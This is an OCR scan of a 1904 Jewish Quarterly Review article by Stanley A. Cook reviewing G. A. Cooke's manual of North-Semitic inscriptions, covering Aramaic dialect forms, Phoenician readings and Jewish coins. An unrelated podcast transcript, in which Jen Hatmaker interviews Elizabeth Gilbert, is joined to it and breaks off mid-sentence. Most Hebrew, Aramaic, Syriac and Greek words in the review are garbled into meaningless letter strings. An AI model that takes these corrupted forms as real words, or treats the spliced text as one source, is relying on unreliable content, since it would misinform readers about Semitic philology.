(defective), but in Daniel, Palmyrene, 1 e. g. wrN (in Nab.) 5b (but only in 61; it occurs, however, in Pahlavi, Noldeke, GGA, 1884, No. 26, pp. 1014 sqq.). rn:ui is cited from the Eg.- Aram. papyrus of Darius II. ip 5b, as 52p5 (67, &c.) shows, must be read as one word, and for n wrn, Dan. ii. 43, we should read ,n 1rn, cp. Palm. 1 Irr (Schulthess, ZATW, 1902, p. I64 sq.).274 xml-66 p-66 274 NORTH-SEMITIC EPIGRAPHYJewish-Aramaic, &c. rin- ; the inscriptions regularly keep the forms distinct and on this account the occurrence of p1- in Ezra can scarcely be original 2. Further, nmS, Ezr. v. I5 (keth.), agrees with Nabataean, whereas 7I, the regular Palmyrene form, corresponds with the 3()5K 3 of Daniel. Occasionally, also, the l.ri marks a later stage in the language which we are able to check by means of the inscriptions. Thus in Dan. iv. i6 4NO "my lord," with K agrees with the older inscriptions (including Nab.), whilst '?- (krli) is in conformity with Palmyrene and the later forms (e.g. Syriac)4. In Dan. iv. 13, the Ulri NtW is in agreement with Palmyrene and later Aramaic, the Nabataean alone has K'lK. The lack of a special feminine form for the 3rd plur. perfect and nominal suffix (which is supplied by the kUrl, e. g. Dan. v. 5 ip)w, k. np3m; ii. 33 prnn, k. pjr1n) finds its parallel in Nabataean as distin- guished from later usage 5. The following examples of the difference between the Pal- myrene and the Nabataean (and older inscriptions) may be noticed: I, "loculus" for a corpse (Targ. '1), regularly in Nabataean, Palmyrene nn[i]l (No. 91 5). Knnw'l in No. 96 2, a rare instance of a Greek loan-word in Nabataean, Palmyrene transliterates with more precision amUtUK (orpa- Tr71yd)-the latter agrees with later Jewish and Syriac; on the various Nabataean forms, reference may be made to Lidzbarski, Handbuch, p. 222, or my Glossary, p. 23. 1 Palm. rarely p-, Jerus. Targ. also Dln- (Dalman, Gramm., p. x62). 2 Cp. a similar unnatural confusion in Jer. x. x (NpiN and magr). 3 In this and in similarly cited words (e.g. Pal.-Syr. [n]niw), the bracketed letter indicates a variant form, thus in Dan. both 1bs and rp5h occur, in Pal.-Syr. both msn and snrw. 4 With the kethib anFlwv, Ezr. iv. I2, cp. retention of 1 in Nos. 65 9, 75 2. 5 With the Haphel inf. rcinn1,, rmw'rT (Dan. ii. io, vi. 9, keri m,-, Strack), cp. Eg.-Aram. ap;nr, n,rnn. In Palm. the only examples of an infin. (out- side the Pe'al) are iNrvs (cp. Jew.-Aram., Dalman, p. 227) and rtwrno. With the older w4nn (Ezr. vi. 17, keri ;rtrn), the Nab. r,mwn "' penalty" (CIS ii. 224 II) may be compared. T275 xml-67 p-67 275 THE JEWISH QUARTERLY REVIEWp82 "righteous" in old Aramaic, in Nabataean only in a legal sense (No. 82 3); Palm. uses prt as in Syr. (Pal.- Syr., however, pbt). The fuller form DatWI "some-, any- thing" (with plur. mnnrunW in Eg.-Aram.) becomes ny?n, a stage nearer the Syr. .2. The Nab. lnt "time " agrees with Bibl.-Aram., the Palm. t3t with later Aram. sti ("head," "principal," p. 406) drops K in Palm. lnnx "woman, wife," frequent in Nab., is shortened in Palm. to Nnnr (also, but rarely, in Nab.), and even l n, Kn4r; obviously a popular pronunciation (cp. Pal.-Syr. m[n]nK). The older ,nr "here," takes the form ptn in Palm. in agreement with Syr. tl. prmn "two" (fem.) becomes mtnn; for m: tn "except," Palm. has Ip in, and for tr:8' ' memorial" (only Nab.), Palm. employs lt:n (once in Nab.). As regards the last-mentioned example, we may compare on the one hand, n;1..n Ezr. vi. Z and Pal.-Syr. ln3[j]r, and on the other, NWn?, Ezr. iv. 15 and Syr. Jjo? 1. X becomes r in an " this " (fem.)-note for Nab. Nwv: Tn, Palm. nr K3. Conversely, n becomes N in Knn "one," n "what," mrn "wheat." It is only in Palm. that the plural suffix ,m- appears as n- (except No. 62 2); I;n "they shall be" as nInm; ~ as i, and the plural emphatic w- as N-. The use of w to represent 'Y, as in Biblical Aramaic (w'lw/, but mna: Ezr. v. 12), is regular in old Aramaic; D probably occurs once in Eg.-Aram. (rOnmnn), otherwise only in Palmyrene, where, apart from the reten- tion of ky in 'vW3, wy'? 3, nw, sW3, we meet with vDD "left," 'nvi "witness " and 4a " many," by the side of w. The general relation of the dialects of the inscriptions to Aramaic generally is an interesting inquiry into which space forbids me to enter. That they stand more closely akin to Western Aramaic than to the literary Edessene Syriac is not surprising when we consider their popular character. What can be culled from Jewish-Aramaic may I With the exception of Nab. in1: CIS ii. 209 7 for nirni (twice), examples of variation in the use of i and 1 are found only in Palm. (n[']2, ,n[[]a~, ?'.:[],5, 7[q]nn, ~:[,]i).276 xml-68 p-68 276 NORTH-SEMTTTC EPIGRAPHYbe seen in Dalman's Grammnatik des jiadisch-palastinischen Araqrniisch, here I propose to notice a few examples of Palestinian-Syriac analogies. The examples from the inscriptions, unless otherwise indicated, are Palmyrene, and for the sake of clearness Palestinian-Syriac forms are transliterated in Hebrew. As regards consonantal interchanges, the old Aram. p1s (above) is found also in Pal.-Syr., (Edessene) Syr. o.v; with twp (verb, p. 311), compare P.-S. KuWlp, but contrast Syr. j^Qo. As regards nominal forms:-Old Aramaic WNrn (No. 70 i)= P.-S. Slnon, Syr. o1oL (? cp. Nab. 1nl0 No. 80 4); Nab. and Palm. snnn3p (p. 242), so P.-S., but Syr. Jlao.-=; Wn1nn (No. 121 2), so P.-S., but Syr. Jl$.l1; Wrn'r (p. 337), so P.-S.; but Syr. JAl lX. The Nab. rnlIw (No. 94 3) and [5: "double" are used in P.-S. (note sn1rw, Schwally, Idioticon, p. 95), but not in Syr. unrsv (No. 117 4) " beam," so in P.-S., in Syr. with a different nuance. The Nab. and Palm. rin agrees with P.-S., but Syr. Lo=?, L=oo.; and for the Palm. nlI p cp. the passages cited by Schwally, p. 44. With s1 Vrn (p. 266), cp. P.-S. ' 4=25, for which Syr. uses (also in Palm., but not in P.-S). #I= 4.. '~, so in P.-S. (see Schwally, p. n). In No. 121 4, mnK finds analogies in P.-S., but Nz: agrees with Syr. La. against P.-S. &on (=l-io))2. The accus. particle nl, nr, in Zenjirli, Nab., and Palm. is rare in Syr., but par- ticularly common in P.-S. Finally, we may add the plur. constr. in N- (No. 126 4), not to be confused with the plur. emph. as in 'uin (No. 113 3), and the defective spellings lqrn, pn (Nos. 139,147 i. io). The inscriptions have been carefully selected by Mr. Cooke, and he has succeeded in illustrating all the more distinctive classes. Nos. 8, 10, 29, 50-60, and 1 In the note on 121 2 read J]oSo Mt. xxiv. 3; [sn]n[n]m,[ Vogii No. 16 3, would closely resemble the Syr. form, but the restoration is doubtful. 2 Hence on p. 279, second line from foot, read "Syr." for "Pal. Syr."277 xml-69 p-69 277 THE JEWISH QUARTERLY REVIEWperhaps the two Zenjirli inscriptions, Nos. 61 and 62, are scarcely suitable for beginners, but naturally their omission would have detracted from the value of the book. Between Nos. 66 and 67 a specimen of an Aramaic docket might very well have been inserted , and particularly in the Nabataean and Palmyrene divisions other inscriptions equally suitable for beginners might easily be suggested. In view of the necessity of keeping the book within limits this criticism would be unreasonable, and the only remark that may be made is that it would have been advantageous to record more thoroughly in the notes parallels or analogies from those inscriptions which are not cited in full 2. On the other hand, the excellent manner in which Mr. Cooke has condensed the most im- portant details of the Punic inscriptions (see p. 137 sq.) deserves the highest praise. Mr. Cooke has aimed not at originality by proposing new interpretations or reconstructions, but at as much finality as can be reached in the present state of knowledge. His object has been "to give, after careful study of the various authorities on the subject, what seemed to be the most probable verdict on the issues raised, and also to bring together the chief matters of importance bearing on the text." He refers to the frequent use of "probably" and "possibly" in the commentary, and he reminds us "how seldom we can speak with positiveness on questions of grammar and interpretation where the material is so limited and where there is no contemporary literature to shed light upon the monuments." True though these words are, it is well to remind ourselves also of the great progress of epigraphical research during the last decade. The accu- mulation of material, the greater interest taken in a critical study of the subject, and the tardy recognition of the fact 1 e.g. CIS ii. 38, 39. Those preserved in the British Museum have recently been re-edited by J. H. Stevenson (Yanderbilt Oriental Series, 1902). 2 In No. 116 3 pmcn can be illustrated by the Palm. pi-n, &c. &c.278 xml-70 p-70 278 NORTH-SEMITIC EPIGRAPHYthat the inscriptions are real contributions to Semitic philology and archaeology, have raised Semitic epigraphy to the rank of a separate branch of learning . Further, although the decipherment of the inscriptions is not rarely attended with great obscurity, it is well to recollect that even in the Hebrew of the Old Testament, despite the assistance of tradition, of ancient versions, of vowels and accents, it is not seldom that one is unable to speak with confidence respecting points of philology or interpretation. Indeed, the words "probably" and "possibly" enter more fre- quently into the vocabulary of the Hebraist than is realized by some. It is by reducing the limits of the possible and by ascertaining the extent of the probable-to follow Mr. Cooke-that we may hope to advance the study of North-Semitic epigraphy, and although in a great num- ber of cases there is little disagreement of opinion, it is lamentable how frequently the true meaning of a line or group of words entirely escapes us, and how widely the views of editors will differ in the most striking manner one from the other. The admirable manner in which Mr. Cooke has collected his material scarcely leaves anything to be desired. The thoroughness with which he has gone to work is made manifest in numberless instances2, and if a note is missed here and there, we must remember that in a manual for students, completeness was neither possible nor perhaps even desirable-if the work was to be kept within limits. In a few cases, too, we may question whether Mr. Cooke has really adopted the best interpretation, and occasionally, 1 As Mr. Cooke observes (p. viii) it is to Paris that the distinction belongs of having recognized the study of Oriental epigraphy and archaeo- logy, by the foundation of a chair in the Collbge de France. It is now held by M. Clermont-Ganneau, to whose brilliant studies every worker in this field is indebted. 2 Slight though it is, in No. 12 (CIS i. 10), 11. 3 and 4 are rightly divided (mu | w3:,) in agreement with the facsimile in the Corpus, but by a mere slip the editors and Lidzbarski wrongly divide cSw I ni.279 xml-71 p-71 279 THE JEWISH QUARTERLY REVIEWalso, the steady advance of epigraphic research places his observations in need of some qualification. In 11. I-I2 of the Moabite stone, if the reading Ipn dyn, 5 is adopted, a note on the construction should be appended, cp. Ges.-Kau. ? 127. The pregnant construc- tion yI tni 1. 14 deserves remark, cp. Deut. xx. 10. In 1. 25 SmW' nDom, point 2.?o or '': in Biblical Hebrew ~''D is used only in the singular. In 11. 8, io yr is used precisely as in i Sam. ix. 4, 8, &c., of a small district. The Siloam inscription is confidently ascribed to about 700 B.C., but see below, p. 287. To the note on 3 o it is to be observed that the sing. iSK "god" is now known not to be confined to proper names; in Costa, Nos. 16, 3, we meet with onn y:I 5IsS 1?:b and n n pl t1?K 155 IS 1. In the note on 5 4 it is not quite clear how Mr. Cooke actually interprets 'vlp. The translation (p. 3) " I adjure," is based upon the Mishnic Dm1p, which is perhaps rather a minced oath, for I~]T 2, whereas, as a reflexive pronoun of the first person singular (Syr. "cu-, ), such a rendering is too elliptical (see p. 34). It will be observed that the translation " which I myself built" would excellently suit 1. 4 ('tp mnR), but is placed out of the question by the construction in 1. o2, where we can scarcely suppose that it has been inserted by a careless copyist who, with 1. 4 in his mind, took the word to belong to the sentence following. Still, this inscription is not free from errors, however slight (11. 6, 9, II). In No. 9 4, an inscription of the second century from Umm el-'Awfmid, there is a famous puzzle. In it 'Abd- elim vows "this gate and the doors: tn:,nS:n=nS.5yas in the year I8o," &c. Mr. Cooke cites three interpreta- tions: (a) and the doors "thereof (5 ws) I made (n5yn) in fulfilment of it (??); I built this (nr=) in the year," &c. (b) "which (WK) are for the making (nSyv5) of the temple 1Lidz., Ephemeris, I, p. 39. 2 See G. F. Moore, Ency. Bib., "Vows," col. 5254.280 xml-72 p-72 280 NORTH-SEMITIC EPIGRAPHY(na) I have finished (tn); I built it," &c. (c) "which I have indeed made (nSry) in the completion of (%n:nr) my building." Against these may be urged nrin " fulfilment" in a; the bare n= and the verbal forms in b, and the affir- mative 5 in c (see also the note p. 47). Another rendering is possible, (d) "which (?5) I have made in its entirety (ninn); I built it in the year," &c. The unique 5m which is thus postulated is not outrageous1; the suffix in nhrn will of course refer to the erection of the gate and doors as a whole. It is not easy to rest content with the usual interpreta- tion of No. 16 (CIS i. 46): "I 'Abd-osir,... set up this pillar in my life-time over my resting-place for ever; also to my wife, . . . ** '. .nwa'' . nSS . nb W iD' . nsr n n n# / 3 * Ia 2 Parallel to this, is No. 21: "This pillar which Arish... erected to his father .. and to his mother ... over their resting-place, for ever." . n5y^ Cnnm ::ion 5y '+ * 4nSn ? * VKS '' K WK t nnS Not only have we in No. 16 "an exceptional instance of the nln being set up by the person commemorated during his life-time," but the combination of the prepositions + + is most difficult. It is certainly true that in No. 45 5 the terminus a quo may be understood, but this does not suit No. 42 5. One might conjecture a particle n (cp. Syr. ., late Heb. s4), "even," but this is too desperate a course. A proper name seems impossible. In No. 27 (CIS i. 93) it is not improbable that 3:n t y is really " for the sons of his (Mar-Yehai's) son." The genealogy is thus simplified. In No. 28, rmn ty nvS ('Avtra, t)reTIpa N&K) is usually rendered "To 'Anath the strength of life," ty is thus derived from tt (j) be strong; it is perhaps better to connect with tlr (It) take refuge. 1 See Wright, Comp. Gram., p. II8. 2 The dots indicate the omission of unnecessary words (chiefly proper- names).28i xml-73 p-73 281 THE JEWISH QUARTERLY REVIEWThis inscription is of some interest on account of the name of the votary, Baal-shillem, son of Sesmai (E-7xaos), which reminds us of Shallum b. Sismai (oDDD) in the Jerah- meelite genealogy, I Chr. ii. 40. Curiously enough the name of YSrpoaos, a Sidonian, has recently been found upon graffiti in a tomb near Belt Jibrin, at the site of the ancient Mareshah. The name Baal-shillem in No. 28 is replaced by Hpaeisrfios, the reason for which is not obvious. Whilst on the subject of names it may be pointed out that the Greek NovzlvLos- not only represents in:: ("born on the new moon") No. 17 3, but, as a recently-discovered inscription proves, even rnnr'l. That the familiar Punic i'lnno (M?p3aXos) is to be interpreted "gift of Ba'al" is certainly not convincing (p. Iog); may one venture " Baal hastens"?2 In No. 35, where Dpnzt2 is represented by 'EorvxEo-cAMov, the view that " the reduplication of the in- tensive stem (n.$) is not marked," does not seem to be very probable. Pi'el forms are easily recognizable in Balsillec and BaX(rrLA)X (iW,k'x) 3; the name under consideration was probably pronounced Eshmun-shalem. Mr. Cooke com- pares 1o-rAcAXs= n=r6ny (No. 32), but here we doubtless have the same form as in jn2nrP: (Cypriote mi-li-ki-ya-tho- no-se, CIS i. 89), cp. Hebrew forms like Win^4. That 6Dw= (p. 57) means "peace be (to him)" cannot be regarded as certain in view of the Aramaic rnnvl and the name of the Tyrian king 'EKvyi,laXo, (? 5y31D, Jos. c. Ap. i. 21). nmso zne' (No. 40) is another familiar difficulty. Eshu- mun-Aesculapius 'Iarpod is perhaps meant, and the epithet mnrt seems to be a denominative of n1'N, " healing, restora- 1 Repertoire d'Epigr. Sem., No. 388. 2 One naturally recalls Maher-shalal-hash-baz (Isa. viii. 1, 3), which like S]lear-Jashub is intended as an omen. These may be plays upon familiar personal names, cp. with Shear-Jashub such names as Shubael and Eliashib. 3Worn down to B&aIX1Xos in Jos. c. Apion. i. 21. 4 May we compare the Sam. participial form jp? (Also Pal.-Syr. ?cA,Q , Am. ix. 6 [ed. Margoliouth], if it is not rather a perf. in o.)282 xml-74 p-74 282 NORTH-SEMITIC EPIGRAPHYtion "'. In a Sardinian inscription of the second century this interchange of n and : is not too serious a difficulty. In view of the late date, it does not seem plausible, more- over, to explain the verbal form KeD (" he healed him ") as a verb treated after the manner of n'5, with the retention of the radical 4; K- is preferably the later form of the suffix (with t plene) as in the Neo-Punic NS:3 "his father." The meaning and origin of H in Phoenician is still exceed- ingly obscure. (a) In the Marseilles sacrificial tablet (No. 42 i5) allowance is made for the man '1Y Hn tNs xprin . (b) In No. 46 i (CIS i. 175) the Decemviri renovate and repair "this slaughter-house (n:or ) which is Dnyr Hi." (c) In No. 45 reference is made to the sanctuaries and their contents:- .niln H ' n n 53 Sn pinn nnr,n z With the last citation we should possibly associate (d) the Tabnith inscription (No. 4 4-5):- . :0 r- n jilK g PDi iDim NM.3 From a and b the meaning "devoid of," "without," has been extracted. Obviously this suits neither c or d, nor is it at all natural to render b " this slaughter-house without steps," in spite of Exod. xx. 25, to which the Editors of the Corpus refer. That Hn in a is the Hebrew 5 "poor" seems extremely probable (see Cooke's note), and it is very probable, also, that it is not connected with b and c. As regards these, Lidzbarski has suggested "that which is damaged," on the assumption that repairs are commemo- rated (p. I28). Winckler's conjecture2 that Hi is to be connected with the Assyrian dullu "work, workmanship" is plausible enough to be added to the note on p. 128. On the whole, however, since i1K in d seems to contain some such meaning as "with me" (see note on p. 29), I am tempted to conjecture that in b and c i is to be inter- preted " together with," " including," or the like 3. Cp. Jer. xxxiii. 6 where it occurs together with NCi as above. 2 See Lidzbarski, Ephem., I, 30I. 3Halevy (Journ. Asiat., I902, t. 20, p. 349 sq.), also, has identified ?wt283 xml-75 p-75 283 THE JEWISH QUARTERLY REVIEWIn the note on No. 61 4 (=lnr) Mr. Cooke observes that in the Zenjirli inscriptions and in those of NMrab and Tgma the impf. pl. ends in A, not, as is usual in Aram., in 4n. It should be observed, however, that the form, strictly speaking, is peculiar to No. 61 (the Hadad inscr.), elsewhere it is always a jussive, and the apocope of the ~ is in accordance with Biblical-Aramaic usage. In 1. 34 of the Hadad inscription nSn (= 5in) in parallelism with pnn is probably "put in writing," cp. Nab. q9snr (No. 79 7), but it is to be feared that in the present state of our knowledge only a small amount of probability can be attached to the interpretation of Nos. 61 and 62. In the note on 62 I (fourth line) read ,oc&. In No. 63, 1. 17, t:1 nM:r now appears to mean "house of Kalammu" (above, p. 268, n. 2). That in 1. I6 [,]WvN is the older form of n5 seems very doubtful. In Bibl. Aram., even, the uncon- tracted form wrm Si is usual, and the equation vs[5] =later Aram. n[s'] would require an Arabic "IJ. That the Aramaic I= Heb. t.. is not absolutely certain. The difficult inscription from Petra (No. 94, CIS ii. 350) must probably be recognized as dialectical. In 1. 3 i nntw mS, summing up as it does everything relating to the sepulchre, is most naturally rendered " the rest of all that is near (it)." It is naturally connected with the Hebrew 5l3 " near, beside," and it is worth noticing that both nniK, and the form nlrni (1. 2) are distinctly reminiscent of Hebrew. Other peculiarities are the use of 1m "these," and mnpo ton "a contract to bury," for the usual n:porip n, PIn an, &c. To render 1nPMa (1. 4) " and it is the order," seems difficult since 'am nK N would have been expected; it is quite in keeping with the rest of the inscription to find i7??l1, but and hi in d, b and c, and treats it as the Phoen. equivalent of the Heb. mo. As regards the derivation, the Ass. edilu "to bolt" might suggest that 'n(N) originally had the meaning "conjunction," "joining." In the note on p. 243 pnwq (CIS ii. 163, &c.) should have been cited, not ;3C (only in 236); see above, p. 276.284 xml-76 p-76 284 NORTH-SEMITIC EPIGRAPHYa better rendering would be "and they (Dushara, &c.) ordered"; cp. for the ending p-, Dalman, Gram., p. o03, and Ilny on the Jewish-Aramaic mosaic of Kefr Kenna (Pal. Explor. Fund, Quarterly Statement, 190I, p. 376)1. In the Palm. inscr., No. 144, we read: ' in... the year 500; Lishamsh ... has-given-a-share (Dnnt) of this vault to Bonne .... I have-given-him-a-share (,nn=mn)," &c. The change of person if not unique is extremely awkward here, and perhaps the simplest plan is to assume a mistake for the third person and read n ianm 2. The valuable Tariff of Palmyra (No. 147), among other noteworthy features, contains several examples of passives formed by internal vowel-change. These are recognized by Wright, Duval, Sachau, Bevan, Marti, and others, but Mr. Cooke denies their existence upon grounds which are open to criticism. In the first place, let it be admitted that the Nab. sn3 (102 5) and Palm. nnw (Vogii, 95 4) are too obscure to enter into the question; there remain then the examples in No. 147 and the Nab. inscr. from Medeba (No. 96, 1. 8). In the latter vn':y Xv 'i mn nra '11 nrwV is correctly translated "and the above work was executed in the year," &c., but there is no note upon the form. As regards Mr. Cooke's objections (p. 334), it may be pointed out that it is extremely unlikely that the Biblical Aramaic rnpnn, nDoln, &c., are modelled upon the Hebrew, and the statement that the forms are only used (in Bibl. Aram.) in the perf. 3rd pers. ignores K'5iN in Dan. v. 273. Finally, the difficulty of construing the 1 To explain (s)mns, 94 2, 95 2, from the Arab. g4 is contrary to the usual equation, we should expect the initial letter to be r; a similar objection has been raised by Noldeke against the identification of sin and po (88 i). In the case of nnsv a connexion with ,o&,, to raise a monu- ment, may be conjectured. 2 Cp. Proceedings of Society of Bibt. Archaeology, I899, p. 74. 3 The note i. 1. 13 (p. 335) assumes that ', is a passive participle. This is incorrect. Nowhere is the internal passive more clearly marked than in the forms '3., 'ba, ni as distinct from the Pe'al partcp. pass. ;m., wao, ni.? (Wright, Comp. Gram., p. 224 sq.). On p. 333, first line (the note on TOs NwS), "Pual" is a slip for "Hophal."285 xml-77 p-77 285 THE JEWISH QUARTERLY REVIEWPalmyrene forms as actives remains insuperable. Objection must be taken to the vocalization of certain forms in this inscription. The careful distinction between S?D: "tax-gatherer," and M: "tax" (p. 332), or between P?P. and 'P'. (p. 333), is extremely useful; but such attempts as 5.2! (p. 338, on 1. ii), w^ 1 (p. 332, on 1. I) are of no service to the student, who might infer that they actually existed. The sections on the North-Semitic coins, seals, and gems (Nos. 149, 150) are a welcome addition to the book, and may, we trust, lead to renewed research in this particular department. As regards the Jewish coins, Mr. Cooke accepts the view, now generally held, that those formerly attributed by Madden and others to Simon Maccabaeus belong to the period immediately preceding the fall of Jerusalem. They thus take their place midway between the Hasmonaean coins and those of the Second Revolt of 132-135 A.D.1 These coins, extending as they do over a period of about 270 years 2, are of considerable palaeo- graphic interest. Although marked as a whole by certain characteristic forms, it is worth noticing that of the speci- mens on p. 353, the third form of K is peculiar to the copper coins of the fourth year (p. 358 h 4) and the Second Revolt (132-135 A.D.), and the second form of n is charac- teristic of the Hasmonaean period. The general appearance of the legends upon the coins of the First and Second Revolt differs to a marked degree from the Hasmonaean, whilst the carelessness which distinguishes those of Eleazar the priest is most remarkable. The Jewish coins, as is well known, are stamped in the old Hebrew character, not in the Aramaic square forms which are to be found upon contemporary ossuaries, and ultimately came into general use. The script has several features in common with the Siloam inscription and 1 Th. Reinach has quite recently returned to the older view, and a reconsideration of the question seems desirable (Jewish Coins, pp. 10-14). " 170," p. 353,1. 3, is a misprint.286 xml-78 p-78 286 NORTH-SEMITIC EPIGRAPHYMr. Pilcher has, on these grounds, proposed to place the latter at the close of the reign of Herod the Great 1. The constructions nK. Kl rnsrj and n,D nNr (2 5-6) certainly suggest a date subsequent to the seventh century, and the evidence which assumes that the conduit, in which the in- scription was discovered, was constructed by Hezekiah is far from being unimpeachable. Unfortunately, the history of Hebrew palaeography is very obscure, and in the present state of our knowledge it is impossible to fix the date with certainty. From the various seals and pottery stamps that have been found it would appear that in addition to a script closely resembling the Siloam, another was in use which approximated more closely to the Moabite and old Phoenician forms. No one can fail to observe that in the name gpD (No. 150 6, Plate XI) both K and X have Archaic shapes, differing from, and older than, those upon the Siloam inscriptions, and yet the seal, in conformity with the usual view, is dated in the seventh or sixth century. The subject is one upon which it is unnecessary to enter just now, and it will be enough if it is made evident how urgent is the need for inquiry 2. The palaeography of the inscriptions, it may be mentioned, is treated only inci- dentally by Mr. Cooke, as is only fitting in a manual of this character, but some characteristic specimens are reproduced in the plates at the end, and these and the three tables of Alphabets will amply suffice to introduce the student to one of the most fascinating departments of Semitic study. 1 Proc. of Soc. of Bibl. Arch., I897, p. I82. For the history of the Hebrew alphabet, the first requirement is accurate copies of the seals, &c. The following points then require to be considered: (a) the character of the proper names upon the seals, a careful distinction being drawn between Hebrew, Phoenician, and Aramaic names; (b) the modification of the forms, viewed in connexion with the development of similar modifications in the Phoenician and Aramaic alphabets, for which dated evidence is more at hand; (c) the archaeological evidence, where it can be obtained; e.g. the strata at which the pottery stamps, &c. were found during the excavations of Bliss and Macalister in the Shephelah district.287 xml-79 p-79 287 THE JEWISH QUARTERLY REVIEWThe foregoing remarks and criticisms only affect points of detail, and in many cases merely reflect the writer's personal opinion. They in no wise detract from the excellence of Mr. Cooke's careful work. No one save those who have delved among the inscriptions and have striven to keep pace with the rapidly growing literature of the subject can fully appreciate the labour entailed in the collection of the material which is here placed at the disposal of Semitic students. Elaborate indexes render reference easy; one misses, however, an index of the inscriptions which are to be found in the Corpus and in such notable works as Euting's Nabatdische Inschriften or de Vogue's La Syrie Centrale. If Lidzbarski performed a lasting service to scholars by rendering the inscriptions and their contents more readily accessible, the Rev. G. A. Cooke may be congratulated for his services in facilitating the study by removing most of the difficulties which had hitherto beset the path of the beginner. How extensive the field of research, how urgent the need for workers and collaborators must be admitted by all. Whether it is the study of the philological peculiarities, or the palaeography, or the evidence of the proper names, or the Punic passages in the Poenulus of Plautus, or the religious ideas and beliefs-there is much that requires to be done. To Jews in particular the subject should be one of especial interest. It is surely important to familiarize one- self with dialects so closely related to Hebrew as Phoenician and Moabite. Surely it is useful to gain some acquain- tance with ancient orthography and palaeography. What- ever may be our views of textual criticism, it is interesting to realize that some of the inscriptions themselves have come down to us with errors and mistakes, and if a stone, why not a MS. which has been copied and recopied ? The Egyptian-Aramaic documents in one case, at least, are Jewish, and the Oxford papyrus (pp. 404-6) contains the names of Jewish merchants and is evidence for the early settlement of Jews in Upper Egypt-possibly the288 xml-80 p-80 288 NORTH-SEMITIC EPIGRAPHY 289 oldest allusion subsequent to Jer. xliv. I, 15. The presence of Jews elsewhere may be suspected from the character of the proper names. In the Aramaic dockets we meet with such familiar forms as yWin, 5niK, Dm,nt, tn:, n.; among the graffiti in the Sinaitic peninsula there appear S,n, n=w and Krzn; Palmyra numbered among her in- habitants pn:, ;irnw, and fnnn (Martha). For the religion of the Semites the inscriptions are a storehouse of material. The Phoenician sacrificial tablets (Nos. 42-44) are of interest as much for their divergence from, as their agreement with, Hebrew ritual. The import- ance of the Moabite stone, with its mention of the divine name nMn,, has already been mentioned. In Palmyrene, the god 'Azizu is called 3lnnn "the compassionate one,"an epithet which is found upon votive inscriptions dedicated " to Him whose Name is Blessed "; the phrases-like the Palmyrene mSlY KDn "1 Lord of the World " (or " of eternity ")-sound peculiarly Jewish (pp. 296 sqq.). Even Dnrwin "Lord of the Heavens "-I need not stop to refer to Jewish analogies- is rendered in bilingual inscriptions by ZEvy v4LaTros, a suggestive indication of the growth of monotheistic ideas, and of a reaction against polytheism. STANLEY A. COOK.VOL. XVI.u xml-81 p-81 289 eng 2 Jan., 1904 The Jewish Quarterly Review 16 Cook Stanley A. 1 10.2307/i263177 research-article 00216682

PODCAST Elizabeth Gilbert Moves from Fear to Fierce Who would we be if we weren’t afraid? What would our lives look like if we pushed aside our greatest fears and let curiosity lead the way? Today we’re wrapping the Fierce, Free, and Full of Fire series with one of the world’s greatest teachers on how to live in the beauty of freedom: award-winning writer and all-around good human, Elizabeth Gilbert. Liz has opened her life and poured her lessons generously into masterpieces on creative living like Eat, Pray, Love and Big Magic, plus her latest work, the gorgeous novel City of Girls. Today Liz feeds our souls by giving us permission to throw away words like “passion” and “purpose” and “balance” (which, let’s be honest, are stifling) so that, instead, we can lower the stakes and allow ourselves the delight of discovery. transcript: Liz:: Welcome to the Fierce Free and Full of Fire series on the For the Love Podcast. Oh, lucky you, because today we talk with author and actual human being extraordinaire Elizabeth Gilbert about how embracing curiosity moved her from fear to fierce. Hey, everybody! Jen Hatmaker is here, your oh-so-happy hostess of the For the Love Podcast, and I really am today. Welcome to this amazing show. We are wrapping up our series, For the Love of Being Fierce, Free and Full of Fire, which my heart cannot contain. We obviously packed this series in celebration of my latest book. Not really the book, but everything inside of it and all the ideas inside of it. We, as a team, went, “Who can we have on this show who in so many ways embodied the work? They embody this sense of liberation and living beautiful, free, vibrant lives,” and thus you’ve got this whole incredible series loaded up right there on your phone. I hope you have not missed a single one. I don’t know if we’ve ever done a better series. I can’t think of a better teacher to help us put a bow on this beautiful series, because today we are talking to one of the premier examples—premier—of living truly fierce, free, and full of fire. My guest today is the incomparable Elizabeth Gilbert. You know her, of course. She’s special, right? Just an incredible, award-winning writer, of course, of fiction and non-fiction. She’s one of the greatest writers of our time. That is without question. She’s best known as the author of Eat, Pray, Love, which has changed and inspired millions of people around the globe—millions. Whether you’re a creative or not, you should 100 percent pick up her book called Big Magic. I tell her this in the show, but I underlined almost every single sentence in the entire book. It’s one of our best guides to show us how to let go of fear and instead make decisions for ourselves, our lives, and the people that we love based on curiosity. That’s my favorite part of our whole interview today. Listen, if your shoulders are up in your ears today, if you are anxious, if you are worried, if you are still showing and cramming yourself into these pre-formed spaces, this is going to be the greatest hour you’re about to spend. I am telling you, this is going to relieve you. This is so soothing. Liz’s voice is so important. I told her this too, but she lives in integrity, and I know it. I know that whatever she is saying is always sincere. You can tell when somebody is living like that, and she is. She said a couple of things to me over the course of this interview that I just kind of had to sit still with. At one point—and I won’t tell you what we were talking about—I wrote it down right here next to me. She was just being really, really generous to something I was disclosing, and she said, “Jen, I don’t need you to have this thing fixed,” and my throat closed. I grabbed my pen, and I just wrote that down, because it was such a gentle thing to say to me at the right time. I’m just telling you today is the day you’re going to be happy that you showed up for the For the Love Podcast. Honestly, with great joy, I am so glad to share my conversation with the irreplaceable Liz Gilbert. View More Jen: I have just said this to you, and I can’t mean it more. I’m trying to think of a more lovely, wonderful voice to bring to my community right now, and I can’t think of one. I’m so happy to welcome you, Liz. I’m glad you’re here. Liz: Thank you so much for saying that. I’m glad I’m here too, and I’m very touched to hear you say that. I’m happy to be here. I’ll bring whatever I’ve got for you. Jen: I know that you will, and I know that’s what you do. Give us a little update first on how you are, where you are, what your days look like right now, and what’s kind of giving you fuel in life and hope? Liz: That’s pretty simple. I’m doing really well. I’ve got this little house in rural New Jersey. It’s an old church that I bought fifteen years ago on Craigslist. Jen: That’s crazy! Liz: It’s this tiny little chapel turned into this little tiny house in the country, and it’s exactly the right place to be during a time like this. I’m here by myself, and I’ve actually been well. I’m well in my mind. I’m used to a lot of solitude, I think, as a writer, and also I’ve sought that out a lot in my life as a meditator, just to try to learn how to befriend my own mind. I’ve spent a lot of time in isolation and navigating my own mind, so to me I’m pretty comfortable with this. Of course, my heart is tender for what the world is going through, but I’m not anybody that anyone needs to be worrying about right now. I’m good. Jen: I’m really happy to hear that. I am here in this little house. We have an old house. It was built in 1908. It’s very small. We have five kids, and four of them are here. It’s a lot of humans. Liz: Oh! Jen: It’s a lot of human beings. Liz: A friend 